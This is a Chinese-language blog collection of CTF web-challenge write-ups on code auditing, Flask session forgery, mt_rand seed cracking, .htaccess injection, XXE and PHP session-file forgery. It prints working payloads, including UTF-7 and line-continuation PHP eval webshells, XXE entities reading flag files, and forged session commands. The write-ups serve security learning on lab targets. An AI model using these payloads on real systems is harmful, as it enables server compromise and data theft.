[DDCTF 2019]homebrew event loop 主要考python的代码审计,果然网安,什么都要懂一些。
如何后面主要是逻辑漏洞,一般有购买的都挺多逻辑漏洞的,但是这种跟我们前面遇到的篡改数字是不一样的。
1 2 3 4 5 def get_flag_handler(args): if session['num_items'] >= 5: # show_flag_function has been disabled, no worries trigger_event('func:show_flag;' + FLAG() trigger_event('action:view;index')
我们想要获得flag就需要调用这个函数get_flag_handler
。同时在execute_event_loop
函数找到了eval
这个函数,在函数看看要怎么利用构造我们想要的执行的代码。
1 2 3 is_action = event[0] == 'a' action = get_mid_str(event, ':', ';') args = get_mid_str(event, action+';').split('#')
看到execute_event_loop
代码,这里通过#将命令分割,我们可以通过#进行多命令的执行,这样就可以执行我们想要执行的函数。
传入:
1 ?action:trigger_event%23;action:buy;2%23action:buy;3%23action:get_flag;%23
同时这是flask处理的session,我们通过脚本
到kali虚拟机里,下载脚本,然后执行命令
1 python3 flask_session_cookie_manager3.py decode -c '.eJyNzU-LgkAYx_G3sjxnD9MMEQpegk2KHGnXGueJZdEMs2YmQe3PhO99vewh8ODtge_D5_cCdS3A2-9f8JGBB1Jwkgq3jfRqcozrJ3TOcLFDJVf5wtVZsDDR3feh-3H-XTS7VtrqnNGpzcVEJWx-S8WURHbpD0gGK0wOs_7jgkkxUgpHSu-QTQOXJRRrKQ4z1I8Tskah5mUovhR-kwc_L-k63jAebxspNk9ZEopidwntZ98KyoOVO24YTKt_y-aoa_CYA9W1NE1_ku4PAcl7jA.YPFNOw.HxuyEAnWbhDWtSmZafpROdM3eJI'
如果对python不是很懂的,想看看源代码分析可以参考这些师傅的
同时也有一边关于客户端session导致的安全问题 的文章
[GXYCTF2019]StrongestMind python脚本的编写。
需要使用到正则表达,还有函数eval来计算,并提交结果一千次。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import re import requests from time import sleep def calculation(): s = requests.session() url = 'http://87431464-1ee4-47b3-bf20-17da5f5341a5.node4.buuoj.cn/index.php' match = re.compile(r"[0-9]+ [+|-] [0-9]+")#r是将双引号里面的看成原始字符串处理,+号是匹配一次或无限次前面的字符,进行预编译,有利于提高匹配速度 r = s.get(url) for i in range(1001): try: str = match.findall(r.text)[0]匹配到计算表达式 # print(eval(str)) data = {"answer" : eval(str)} r = s.post(url, data=data) r.encoding = "utf-8" print('{} : {}'.format(i,eval(str))) sleep(1)#防止跳500状态码,服务端报错,需要足够的耐心,也就等个1000秒 except: pass #添加这个是为了防止出现list index out of range,应该是有时候没匹配到,导致列表内容为空。 # print(r.text) print(r.text) if __name__ == '__main__': calculation()
很好结果有跑出来,没有白等,但是正则表达式老是容易遗忘,需要找点练习练一下了。
[MRCTF2020]Ezaudit 尝试了很多都没有其他有效回显,试一下几个敏感目录,成功下载了www.zip,源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <?php header('Content-type:text/html; charset=utf-8'); error_reporting(0); if(isset($_POST['login'])){ $username = $_POST['username']; $password = $_POST['password']; $Private_key = $_POST['Private_key']; if (($username == '') || ($password == '') ||($Private_key == '')) { // 若为空,视为未填写,提示错误,并3秒后返回登录界面 header('refresh:2; url=login.html'); echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!"; exit; } else if($Private_key != '*************' ) { header('refresh:2; url=login.html'); echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!"; exit; } else{ if($Private_key === '************'){ $getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';'; $link=mysql_connect("localhost","root","root"); mysql_select_db("test",$link); $result = mysql_query($getuser); while($row=mysql_fetch_assoc($result)){ echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>"; } } } } // genarate public_key function public_key($length = 16) { $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $public_key = ''; for ( $i = 0; $i < $length; $i++ ) $public_key .= substr($strings1, (0, strlen($strings1) - 1), 1); return $public_key; } //genarate private_key function private_key($length = 12) { $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $private_key = ''; for ( $i = 0; $i < $length; $i++ ) $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1); return $private_key; } $Public_key = public_key(); //$Public_key = KVQP0LdJKRaV3n9D how to get crispr's private_key???
代码审计一下,我们需要拿到私钥,为什么还给出了公钥,就是长度不够,因为我们可以通过公钥来破解随机数种子,函数mt_rand产生的是伪随机数,伪随机的问题我们在前面有碰到过一题,差不多都是类似的。
爆破随机数序列,与前面的有点不同,但是原理一样。
1 2 3 4 5 6 7 8 9 10 11 12 13 str1='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' str2='KVQP0LdJKRaV3n9D' str3=str1[::-1 ] length1=len (str1) length2=len (str2) r='' for i in range (length2): for j in range (length1): if str2[i]==str1[j]: r+=str (j)+' ' +str (j)+' ' +'0' +' ' +str (length1-1 )+' ' break print (r)
得到种子后,再破解私钥。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php mt_srand(1775196155 ); function public_key ($length = 16 ) { $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' ; $public_key = '' ; for ( $i = 0 ; $i < $length ; $i ++ ) $public_key .= substr($strings1 , mt_rand(0 , strlen($strings1 ) - 1 ), 1 ); return $public_key ; } function private_key ($length = 12 ) { $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' ; $private_key = '' ; for ( $i = 0 ; $i < $length ; $i ++ ) $private_key .= substr($strings2 , mt_rand(0 , strlen($strings2 ) - 1 ), 1 ); return $private_key ; } echo private_key();?>
拿到私钥,这里还有要求php版本要大于5.2.1。
[XNUCA2019Qualifier]EasyPHP 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php $files = scandir('./' ); foreach ($files as $file ) { if (is_file($file )){ if ($file !== "index.php" ) { unlink($file ); } } } include_once ("fl3g.php" ); if (!isset ($_GET ['content' ]) || !isset ($_GET ['filename' ])) { highlight_file(__FILE__ ); die (); } $content = $_GET ['content' ]; if (stristr($content ,'on' ) || stristr($content ,'html' ) || stristr($content ,'type' ) || stristr($content ,'flag' ) || stristr($content ,'upload' ) || stristr($content ,'file' )) { echo "Hacker" ; die (); } $filename = $_GET ['filename' ]; if (preg_match("/[^a-z\.]/" , $filename ) == 1 ) { echo "Hacker" ; die (); } $files = scandir('./' ); foreach ($files as $file ) { if (is_file($file )){ if ($file !== "index.php" ) { unlink($file ); } } } file_put_contents($filename , $content . "\nJust one chance" ); ?>
看起来简单明了,允许我们写入文件,但是只能写入文件名为[a-z.]*
的文件,文件内容也有限制,并且文件内容最后还会加上一串字符串干扰。
最后面加上的字符串可以通过#注释符绕过,同时通过\将换行符的\转义,我们尝试写入.htaccess
文件,但是文件内容被限制了,我们读一下[官方文档](PHP: php.ini 配置选项列表 - Manual )看看.htaccess还有什么功能。
解法一: 查找所有可修改范围为PHP_INI_ALL
即PHP_INI_PERDIR
的配置项,我们可以注意到这样一个选项include_path
.
控制这个选项就可以控制include的fl3g.php可以是任意目录下的某个文件,还需要控制fl3g.php,需要用到error_log这个选项,利用error_log写入log文件到/tmp/fl3g.php,再设置include_path=/tmp就可以使index.php可以包含我们想要的文件,我们通过设置include_path为不存在的文件夹即可触发报错。
但是error_log的默认的内容是htmlentities,导致我们的插入可执行的php代码,这里就需要绕过转义。
[通过设置编码绕过](https://github.com/mdsnins/ctf-writeups/blob/master/2019/Insomnihack 2019/l33t-hoster/l33t-hoster.md)
解题:
我们先写入error_log相关配置
1 2 3 4 php_value include_path "/tmp/xx/+ADw?php die(eval($_GET[2]))+ADs +AF8AXw-halt+AF8-compiler()+ADs" php_value error_reporting 32767 php_value error_log /tmp/fl3g.php #
其中32767是所有常量加起来的值
1 index.php?filename=.htaccess&content=php_value%20error_log%20/tmp/fl3g.php%0d%0aphp_value%20error_reporting%2032767%0d%0aphp_value%20include_path%20%22+ADw?php%20eval($_GET[1])+ADs%20+AF8AXw-halt+AF8-compiler()+ADs%22%0d%0a#%20\
再访问index.php,触发error_log写到/tmp/fl3g.php
再写入新的配置,
1 2 3 4 php_value zend.multibyte 1 php_value zend.script_encoding "UTF-7" php_value include_path "/tmp" #
将编码设置转为UTF-7,这样shell就能够被顺利的解析出来了。
同时利用include_path
将我们刚刚生成的文件给包含/tmp/fl3g
1 ?filename=.htaccess&content=php_value include_path "/tmp"%0d%0aphp_value zend.multibyte 1%0d%0aphp_value zend.script_encoding "UTF-7"%0d%0a# \
最后访问,
即可getshell。
解法二: 设置pcre的一些选项可以导致文件名判断失效,从而直接写入fl3g.php
判断条件为:if(preg_match("/[^a-z\.]/", $filename) == 1)
所以通过php_value 设置正则回朔次数来使正则匹配的结果返回为false而不是0或1,默认的回朔次数比较大,可以设成0,即可绕过前面的正则匹配,后面再通过伪协议写入一句话木马。
1 2 3 4 php_value pcre.backtrack_limit 0 php_value auto_append_file ".htaccess" php_value pcre.jit 0 #aa<?php eval($_GET['a']);?>\
1 2 3 4 filename=php://filter/write=convert.base64-decode/resource=.htaccess&content=php_value pcre.backtrack_limit 0 php_value auto_append_file ".htaccess" php_value pcre.jit 0 #aa<?php eval($_GET['a']);?>\
解法三 1 2 3 php_value auto_prepend_fi\ le ".htaccess" #<?php @eval($_GET[1]); ?>\
通过\连接file绕过file正则匹配,同时通过#注释符写入一句话木马,再通过文件包含解析一句话木马,成功getshell。
1 filename=.htaccess&content=php_value%20auto_prepend_fi\%0Ale%20%22.htaccess%22%0A%23%3C%3fphp%20%40eval(%24_POST[1])%3b%20%3f%3E\
执行一次。就要重新生成一次.htaccess,多试几次就可以成功连接了。
[CISCN2019 华东南赛区]Web4 尝试伪协议读取行不通,试一下直接读取,居然可以。
抓包看一下,又是cookie通过flask session加密。
到JWT解密一下,解密得到www-data,如果要伪造flask session,我们需要得到SECRET_KEY,尝试读取
发现app尝试读取一下源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import re, random, uuid, urllibfrom flask import Flask, session, requestapp = Flask(__name__) random.seed(uuid.getnode()) app.config['SECRET_KEY' ] = str (random.random()*233 ) app.debug = True @app.route('/' ) def index (): session['username' ] = 'www-data' return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>' @app.route('/read' ) def read (): try : url = request.args.get('url' ) m = re.findall('^file.*' , url, re.IGNORECASE) n = re.findall('flag' , url, re.IGNORECASE) if m or n: return 'No Hack' res = urllib.urlopen(url) return res.read() except Exception as ex: print str (ex) return 'no response' @app.route('/flag' ) def flag (): if session and session['username' ] == 'fuck' : return open ('/flag.txt' ).read() else : return 'Access denied' if __name__=='__main__' : app.run( debug=True , host="0.0.0.0" )
我们只需让session中username的值为fuck即可得到flag,但是想要伪装flask session我们需要得到密钥,可以看到他的密钥生成方式
1 2 random.seed(uuid.getnode()) app.config['SECRET_KEY'] = str(random.random()*233)
又是伪随机数,函数uuid.getnode()
,用于获取Mac地址并将其转换为整数。我们需要知道Mac地址,读取一下,
1 /sys/class/net/eth0/address
得到
然后得出密钥
1 2 3 4 import randomrandom.seed(0x0242ac108542 ) print (str (random.random()*233 ))
这里记得使用python2,因为python3他们之间保留的位数不同。
然后再使用我们前几天的脚本伪造。
1 2 python3 flask_session_cookie_manager3.py encode -s '61.9848256705' -t "{'username': b'fuck'}"
修改session值后再访问/flag得到flag。
[CSAWQual 2019]Web_Unagi —XXE注入
我们添加一个实体执行命令。
1 2 3 4 5 6 7 8 9 10 11 12 13 <?xml version='1.0'?> <!DOCTYPE users [ <!ENTITY xxe SYSTEM "file:///flag" >]> <users> <user> <username>bob</username> <password>passwd2</password> <name> Bob</name> <email>bob@fakesite.com</email> <group>CSAW2019</group> <intro>&xxe;</intro> </user> </users>
存在waf,考虑编码绕过。通过utf16编码绕过,可以另存为保存设置编码,或者使用kali的命令将文件转换编码。
1 cat c.xml | iconv -f UTF-8 -t UTF-16BE > c16.xml
上传文件后即可得到flag。
[BSidesCF 2019]SVGMagic 首先了解一下SVG是什么
1 SVG是一种图像 文件格式 ,它的 英文 全称为Scalable Vector Graphics,意思为可缩放的 矢量图形 。 它是基于 XML (Extensible Markup Language),由World Wide Web Consortium( W3C )联盟进行开发的。
这题也是XXE注入,payload:
1 2 3 4 5 6 7 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE note [ <!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" > <!--从内存读取当前工作目录下的文件-->]> <svg height ="100" width ="1000" > <text x ="10" y ="20" > &file; </text >
另存为xml格式,上传即可得到flag。
[HFCTF2020]BabyUpload 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 <?php error_reporting(0); session_save_path("/var/babyctf/"); session_start(); require_once "/flag"; highlight_file(__FILE__); if($_SESSION['username'] ==='admin') { $filename='/var/babyctf/success.txt'; if(file_exists($filename)){ safe_delete($filename); die($flag); } } else{ $_SESSION['username'] ='guest'; } $direction = filter_input(INPUT_POST, 'direction'); $attr = filter_input(INPUT_POST, 'attr'); $dir_path = "/var/babyctf/".$attr; if($attr==="private"){ $dir_path .= "/".$_SESSION['username']; } if($direction === "upload"){ try{ if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){ throw new RuntimeException('invalid upload'); } $file_path = $dir_path."/".$_FILES['up_file']['name']; $file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']); if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){ throw new RuntimeException('invalid file path'); } @mkdir($dir_path, 0700, TRUE); if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){ $upload_result = "uploaded"; }else{ throw new RuntimeException('error while saving'); } } catch (RuntimeException $e) { $upload_result = $e->getMessage(); } } elseif ($direction === "download") { try{ $filename = basename(filter_input(INPUT_POST, 'filename')); $file_path = $dir_path."/".$filename; if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){ throw new RuntimeException('invalid file path'); } if(!file_exists($file_path)) { throw new RuntimeException('file not exist'); } header('Content-Type: application/force-download'); header('Content-Length: '.filesize($file_path)); header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"'); if(readfile($file_path)){ $download_result = "downloaded"; }else{ throw new RuntimeException('error while saving'); } } catch (RuntimeException $e) { $download_result = $e->getMessage(); } exit; } ?>
代码审计后发现,想要拿到flag,必须符合两个条件:
1 2 1、$_SESSION['username'] ==='admin' 2、指定目录下存在success.txt文件。
设置了两个post提交的参数direction、attr。
首先看看当direction分别为upload和download时的功能
upload:
1 首先判断是否正常上传,如果是正常上传,则在$dir_path下拼接文件名之后再加一个_再拼接文件名的sha256的值。同时限制了目录穿越,创建相应的目录,把文件上传到目录下。
很明显upload不能实现上传success.txt文件到该目录下。
download:
1 读取文件名,并且拼接到$file_path,这里也限制了目录穿越,判断是否存在,存在就返回文件内容。
总体的思路,我们需要伪造session,并且成功上传success文件。
1 php的session默认存储文件名是sess_+PHPSESSID的值
我们要先找到PHPSESSID的为admin的值,先尝试获取一下我们当前的PHPSESSID的值代表什么。
读取当前的session默认存储文件名的内容。
1 direction=download&attr=&filename=sess_f33a3215af31bd09f6fb9dae436fffe9
返回的是
username前面存在不可见字符,了解到[不同引擎对应的session存储方式不同](PHP中SESSION反序列化机制 | Spoock )
这里的存储方式为php_binary,我们在本地生成我们要伪造的文件
1 2 3 4 5 6 <?php ini_set('session.serialize_handler' , 'php_binary' ); session_save_path("H:\\php" ); session_start(); $_SESSION ['username' ] = 'admin' ;
成功生成文件,并将文件名改为sess,再输出文件经sha256处理的值
1 432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4
我们再上传文件。
1 2 3 4 5 6 7 8 9 10 11 import requests url="http://b0f525a6-b5de-44b7-858f-78c945279423.node4.buuoj.cn/" files={ "up_file":open('H:\php\sess','rb') } data={ "direction":"upload", "attr":"", "filename":"sess" } r=requests.post(url=url,data=data,files=files)
读取一下,成功返回admin,我们现在就只要创建success.txt就可以了。
我们发现文件名设置不了,注意函数file_exists,他不仅检查还包括目录,我们可以直接创建success.txt目录,再将sess上传到该目录下即可绕过判断。
1 2 3 4 5 6 7 8 9 10 11 import requests url="http://b0f525a6-b5de-44b7-858f-78c945279423.node4.buuoj.cn/" files={ "up_file":open('H:\php\sess','rb') } data={ "direction":"upload", "attr":"success.txt", "filename":"sess" } r=requests.post(url=url,data=data,files=files)
最后修改PHPSESSID的值得到flag。
[HarekazeCTF2019]Avatar Uploader 1 审计一下upload.php源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php error_reporting(0); require_once('config.php'); require_once('lib/util.php'); require_once('lib/session.php'); $session = new SecureClientSession(CLIENT_SESSION_ID, SECRET_KEY); // check whether file is uploaded if (!file_exists($_FILES['file']['tmp_name']) || !is_uploaded_file($_FILES['file']['tmp_name'])) { error('No file was uploaded.'); } // check file size if ($_FILES['file']['size'] > 256000) { error('Uploaded file is too large.'); } // check file type $finfo = finfo_open(FILEINFO_MIME_TYPE); $type = finfo_file($finfo, $_FILES['file']['tmp_name']); finfo_close($finfo); if (!in_array($type, ['image/png'])) { error('Uploaded file is not PNG format.'); } // check file width/height $size = getimagesize($_FILES['file']['tmp_name']); if ($size[0] > 256 || $size[1] > 256) { error('Uploaded image is too large.'); } if ($size[2] !== IMAGETYPE_PNG) { // I hope this never happens... error('What happened...? OK, the flag for part 1 is: <code>' . getenv('FLAG1') . '</code>'); } // ok $filename = bin2hex(random_bytes(4)) . '.png'; move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_DIR . '/' . $filename); $session->set('avatar', $filename); flash('info', 'Your avatar has been successfully updated!'); redirect('/');
注释都给提示,突破口就在
1 2 3 4 if ($size[2] !== IMAGETYPE_PNG) { // I hope this never happens... error('What happened...? OK, the flag for part 1 is: <code>' . getenv('FLAG1') . '</code>'); }
首先看看函数[getimagesize](PHP: getimagesize - Manual )
1 2 3 4 5 6 7 8 getimagesize — 取得图像大小 索引 0 给出的是图像宽度的像素值 索引 1 给出的是图像高度的像素值 索引 2 给出的是图像的类型,返回的是数字,其中1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM 索引 3 给出的是一个宽度和高度的字符串,可以直接用于 HTML 的 <image> 标签 索引 bits 给出的是图像的每种颜色的位数,二进制格式 索引 channels 给出的是图像的通道值,RGB 图像默认是 3 索引 mime 给出的是图像的 MIME 信息,此信息可以用来在 HTTP Content-type 头信息中发送正确的信息,如:header("Content-type: image/jpeg");
再看看函数[finfo_file](PHP: finfo_file - Manual ),由于其主要识别PNG文件十六进制的第一行信息,我们保留第一行的信息,即可绕过两个函数,得到flag。